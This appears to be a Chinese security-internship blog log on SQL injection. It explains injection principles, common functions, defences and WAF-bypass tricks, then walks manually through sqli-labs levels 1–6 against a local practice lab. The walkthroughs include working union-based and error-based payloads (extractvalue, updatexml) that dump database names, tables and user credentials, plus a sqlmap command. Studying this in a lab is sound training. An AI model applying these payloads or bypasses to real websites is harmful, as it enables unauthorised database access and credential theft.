网络空间安全毕业实习日志day5

目录

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法。

SQL注入原理

SQL注入常用函数及含义

SQL注入防御手段

SQL注入常用绕过WAF的方法

2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap。

 第一关(联合查询)

 第二关(数字型)

 第三关('闭合)

 第四关(")闭合)

 第五关(报错输入)

3.总结SQLi的手工注入的步骤。

4.使用sqlmap通过或验证第六关

 第6关("闭合)


1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法。

 SQL注入原理

  SQL注入(SQL Injection)是一种针对Web应用程序数据库的安全漏洞攻击手段。其原理在于,攻击者通过在Web表单的输入域或页面请求的查询字符串中插入恶意SQL代码片段,欺骗数据库服务器执行非授权的数据库操作。这些操作可能包括查询、插入、更新或删除数据,从而导致数据泄露、篡改或丢失。具体来说,SQL注入漏洞的发生通常是因为Web应用程序对用户输入的数据没有进行充分的验证和过滤,导致攻击者能够控制并修改后端数据库执行的SQL语句。例如,在一个Web应用程序中,如果查询语句被设计为`SELECT * FROM users WHERE username = '$username'`,并且`$username`是用户可控的输入,那么攻击者可以通过输入类似`'admin' OR '1'='1`的字符串来绕过验证,执行未授权的查询。

SQL注入常用函数及含义

(1)信息获取函数

   - `version()`:返回数据库的版本信息。
   - `user()`:返回当前数据库用户。
   - `database()`:返回当前数据库名。
   - `@@basedir`、`@@datadir`:分别返回数据库的安装路径和文件存放路径。
   - `@@version_compile_os`:返回操作系统版本。 

(2)字符串处理函数

   - `concat()`:拼接字符串。
   - `concat_ws()`:使用指定分隔符拼接字符串。
   - `group_concat()`:将多个行的列值连接成一个字符串。
   - `left()`、`right()`、`substr()`、`mid()`:用于字符串的截取。
   - `ascii()`:返回字符串最左字符的ASCII值。 

(3)条件与逻辑函数

   - `if()`:根据条件返回不同的值。
   - `sleep()`:使查询暂停指定的时间,常用于延时注入

(4) 报错注入函数

   - `updatexml()`、`extractvalue()`:用于XML文档的查询和修改,但可以在报错信息中泄露数据。
   - `floor()`、`rand()`、`exp()`:结合使用可以造成数据库错误,从而泄露数据。 

(5)文件操作函数

   - `load_file()`:读取文件内容。
   - `into outfile`、`into dumpfile`:将查询结果写入文件。 

SQL注入防御手段

(1)使用预编译语句(Prepared Statements)和参数化查询

这是预防SQL注入的最有效方法之一,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构。

(2)使用存储过程

存储过程也可以防止SQL注入,因为它们同样使用参数化查询。

(3)使用ORM(对象关系映射)工具

现代编程框架提供的ORM工具可以自动进行参数化查询,降低直接编写SQL语句的风险。

(4)验证用户输入

对所有用户输入进行验证,拒绝不符合预期格式的输入。

(5)使用适当的错误处理机制

不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。

(6)限制数据库权限

为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。

(7)定期更新和打补丁

保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。

(8)使用Web应用防火墙(WAF)

WAF可以帮助识别和阻挡SQL注入攻击。

(9)定期进行安全审计和代码审查

检查潜在的安全漏洞,及时修复。

SQL注入常用绕过WAF的方法

(1)注释符号绕过

   - 攻击者可以在SQL语句中插入注释符号(如`--`、`/* */`、`#`)来隐藏或注释掉WAF检测到的关键部分,从而使恶意SQL代码能够执行。例如,在查询语句后添加`-- -`来注释掉后续的SQL代码。 

(2)编码绕过

   - 攻击者可以使用不同的字符编码方式(如URL编码、Unicode编码等)来隐藏或变换恶意SQL代码,从而绕过WAF的检测。例如,将`admin`编码为`%61%64%6D%69%6E`进行绕过。 

(3)大小写变换绕过

   - 利用数据库系统对SQL关键字大小写不敏感的特性,攻击者可以将SQL关键字的大小写进行变换,以绕过基于大小写过滤的WAF。例如,将`SELECT`写成`SeLeCt`。 

(4)特殊字符和逻辑绕过

   - 攻击者可以通过在SQL语句中插入引号或其他特殊字符,或者利用逻辑漏洞(如使用`OR '1'='1`)来构造恶意SQL代码,从而绕过WAF的检测。

(5)使用替代字符和函数

     - 攻击者可以使用替代字符(如`&&`代替`AND`,`||`代替`OR`)或替代函数(如使用`mid()`代替`substr()`)来绕过WAF对特定字符或函数的拦截。 

(6)内联注释绕过

   - 使用MySQL特有的内联注释`/*! ... */`,这些注释在MySQL中会被执行,但在其他数据库中则会被忽略。攻击者可以利用这一点来绕过WAF的检测。 

(7)分块传输编码绕过

   - 利用HTTP协议的分块传输编码机制,将恶意SQL代码分散在多个数据包中发送,从而绕过WAF的检测。 

(8)污染特性绕过

   - 利用某些编程语言的特性(如PHP中的参数覆盖)或HTTP请求的特性(如POST和GET请求的差异),通过构造特殊的请求来绕过WAF的检测。

(9)逻辑错误和异常处理绕过

   - 利用应用程序或数据库的逻辑错误(如错误处理机制中的信息泄露)或异常处理机制(如SQL错误导致的页面异常),通过触发这些错误来获取数据库信息或绕过WAF的检测。 

(10)工具和技术结合绕过

    - 使用自动化工具(如SQLMap)的绕过脚本或自定义脚本来绕过WAF的检测。这些脚本通常包含多种绕过技术,可以根据WAF的具体配置进行动态调整。 


2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap。

我们点击sqli-labs page-1(Basic Challenges)就可以选择关卡:

 第一关(联合查询)

打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看

可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入,判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:

可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:

?id=1' order by 3--+          正常

?id=1' order by 4--+            错

?id=1' union select 1,2,3 --+        正常

?id=1' union select 1,2,3,4 --+         错误

从上面两中方式都可以判断出数据库是有3列的,然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列。

?id=-1' union select 1,2,3 --+

从显示结果可以看到,这里的name是第2列,password是第3列。

那么现在就可以从第2列或者第3列查询出当前数据名和版本号,通过结果知道当前数据看是security,版本是5.7.26:

?id=-1'union select 1,database(),version()--+

现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了:

 查到了数据库中的数据就算是一次成功的注入了,那么本关就通关了(~ ̄▽ ̄)~ 

 第二关(数字型)

这一关与第一关是大致相同的这里就直接直接提供payload:

尝试闭合查看是否存在SQL注入:

?id=-1'

 查看数据库的列数:

?id=1' order by 3--+                正常

?id=1 order by 4--+                 错误      

查看那些地方可以回显:

?id=-1 union select 1,2,3--+ 

从显示结果可以看到,这里的name是第2列,password是第3列。

查询数据库、数据库版本:

?id=-1 union select 1,database(),version()

查看数据库中所有的表:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看表中的所有字段:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  and table_schema='security'-- 

查看数据:

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

 第三关('闭合)

 尝试闭合查看是否存在SQL注入:

这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合'),然后直接参考第二关的payload即可:

 查看数据库的列数:

?id=1')--+ order by 3--+ 

存在发现数据库中当前表格存在三列

查看那些地方可以回显:

?id=-1') union select 1,2,3--+

判断回显位置为2、3

查询数据库、数据库版本:

?id=-1') union select 1,database(),version()--+

查看数据库中所有的表:

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查看表中的所有字段:

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查看数据:

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

 第四关(")闭合)

尝试闭合查看是否存在SQL注入:

这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合"),然后直接参考第二关的payload即可:

 查看数据库的列数:

?id=1") order by 3--+

存在发现数据库中当前表格存在三列

查看那些地方可以回显:

?id=-1") union select 1,2,3--+

判断回显位置为2、3

查询数据库、数据库版本:

id=-1") union select 1,database(),version()--+
查看数据库中所有的表:

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看表中的所有字段:

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查看数据:
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

 以上本关就通过了

第五关(报错输入)

报错注入:

1. extractvalue: 
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。

2. updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。

3. floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

既然存在注入,那么我们可以来尝试查询一下数据库的列数

?id=1'  order by 3 --+
?id=1'  order by 4 --+

可以看到列数是3列

知道了列数,那么我们就试试看哪里可以回显:

 ?id=1' union select 1,2,3 --+

?id=1' union select 1,2,3,4 --+ 可以看到这里我们无论怎么进行查询,结果都会显示You are in .........

但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ 
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入即可

3.总结SQLi的手工注入的步骤。

1. 判断有无注入点
   - 方法:通过向URL或表单输入中插入特定的SQL语句片段(如`' OR '1'='1`),观察应用程序的响应来判断是否存在SQL注入漏洞。
   - 目标:确认应用程序是否对输入进行了充分的过滤和转义处理。

2. 猜解列名数量
   - 方法:使用`ORDER BY`子句尝试不同的列数,直到出现错误,以确定数据库表中列的数量。
   - 示例:在URL后添加`?id=1 ORDER BY 4`,逐渐增加数字,直到出现错误,从而确定列数。

3. 判断数据回显点
   - 方法:使用`UNION SELECT`语句与一些已知值结合,尝试确定哪些位置(列)能够回显(显示)在应用程序的响应中。
   - 示例:`?id=-1 UNION SELECT 1,2,3`,观察哪些数字(即列)的内容被显示在响应中。

4. 信息收集
   - 数据库版本:使用`UNION SELECT`结合`version()`、`@@version`等函数获取数据库版本信息。
   - 数据库名:使用`UNION SELECT`结合`database()`函数获取当前数据库名。
   - 数据库用户:使用`UNION SELECT`结合`user()`函数获取当前数据库用户。
   - 其他信息:还可以获取操作系统的版本、数据库路径等信息,但通常这些信息对后续攻击的直接帮助较小。

5. 获取表名和列名
   - 表名:通过查询`information_schema.tables`表,使用`UNION SELECT`结合`group_concat(table_name)`和适当的`WHERE`子句来获取表名。
   - 列名:类似地,通过查询`information_schema.columns`表,使用`UNION SELECT`结合`group_concat(column_name)`和适当的`WHERE`子句来获取列名。

6. 爆数据
   - 获取数据:在确定了表名和列名之后,可以直接使用`UNION SELECT`查询目标表中的敏感数据,如用户账号和密码。
   - 示例:`?id=-1 UNION SELECT 1, group_concat(username, ':', password), 3 FROM users`。


4.使用sqlmap通过或验证第六关

第6关("闭合)

尝试闭合查看是否存在SQL注入:这一关与第三关可以说是一模一样的只是闭合的方式不同,本关需要闭合",然后直接参考第5关的payload即可 

这里我采用sqlmap来通过本关

python sqlmap.py -u http://localhost/sqli-labs/Less-6/?id=1 --batch --dbs

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值